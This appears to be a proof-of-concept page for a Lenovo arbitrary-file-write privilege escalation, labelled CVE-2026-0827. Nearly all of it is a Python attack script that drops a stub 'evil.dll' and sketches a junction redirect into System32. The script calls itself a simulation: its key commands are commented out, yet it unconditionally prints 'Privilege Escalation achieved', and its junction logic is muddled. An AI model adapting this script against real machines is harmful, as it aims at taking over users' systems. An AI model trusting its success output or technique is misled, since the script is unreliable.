CVE-2026-0827 Lenovo权限提升漏洞

# This PoC is a conceptual demonstration for an Arbitrary File Write -> Privilege Escalation scenario. # It simulates the steps an attacker might take against the vulnerable Lenovo component. import os import subprocess # Configuration TARGET_SYSTEM_DIR = "C:\\Windows\\System32" VULNERABLE_WRITE_PATH = "C:\\ProgramData\\Lenovo\\Temp\\config.bin" # Path the app writes to MALICIOUS_PAYLOAD_PATH = "C:\\Users\\Attacker\\evil.dll" print("[*] Setting up the environment for the exploit...") # Step 1: Create the malicious payload with open(MALICIOUS_PAYLOAD_PATH, 'wb') as f: f.write(b'MZ\x90\x00') # Minimal PE header placeholder print(f"[+] Malicious payload created at {MALICIOUS_PAYLOAD_PATH}") # Step 2: Create a Directory Junction (Symbolic Link) to redirect the write # We need admin rights to create the junction usually, but the vulnerability allows the WRITE. # For the sake of this PoC, we assume the attacker can influence the path or the directory structure. # In a real exploit, the attacker might replace a directory they control with a junction. try: # Check if we can create a symlink (requires Developer Mode or Admin) # This represents the 'Arbitrary File Write' setup if os.path.exists(VULNERABLE_WRITE_PATH): os.remove(VULNERABLE_WRITE_PATH) # We simulate redirecting the write operation to System32 # cmd command to create junction: mklink /J "Source" "Target" print(f"[*] Attempting to redirect {VULNERABLE_WRITE_PATH} to {TARGET_SYSTEM_DIR}") # subprocess.run(['cmd', '/c', 'mklink', '/J', VULNERABLE_WRITE_PATH, TARGET_SYSTEM_DIR], shell=True) print("[!] Symbolic link created (Simulation).") except Exception as e: print(f"[-] Error setting up link: {e}") # Step 3: Trigger the Vulnerable Application # The attacker triggers the Lenovo Hardware Scan or Installation print("[*] Triggering the vulnerable Lenovo process (e.g., Hardware Scan)...") # subprocess.run(["C:\\Program Files\\Lenovo\\LenovoDiagnostics\\HardwareScan.exe"]) print("[+] If successful, the high-privileged process wrote our payload to System32.") print("[+] Privilege Escalation achieved.")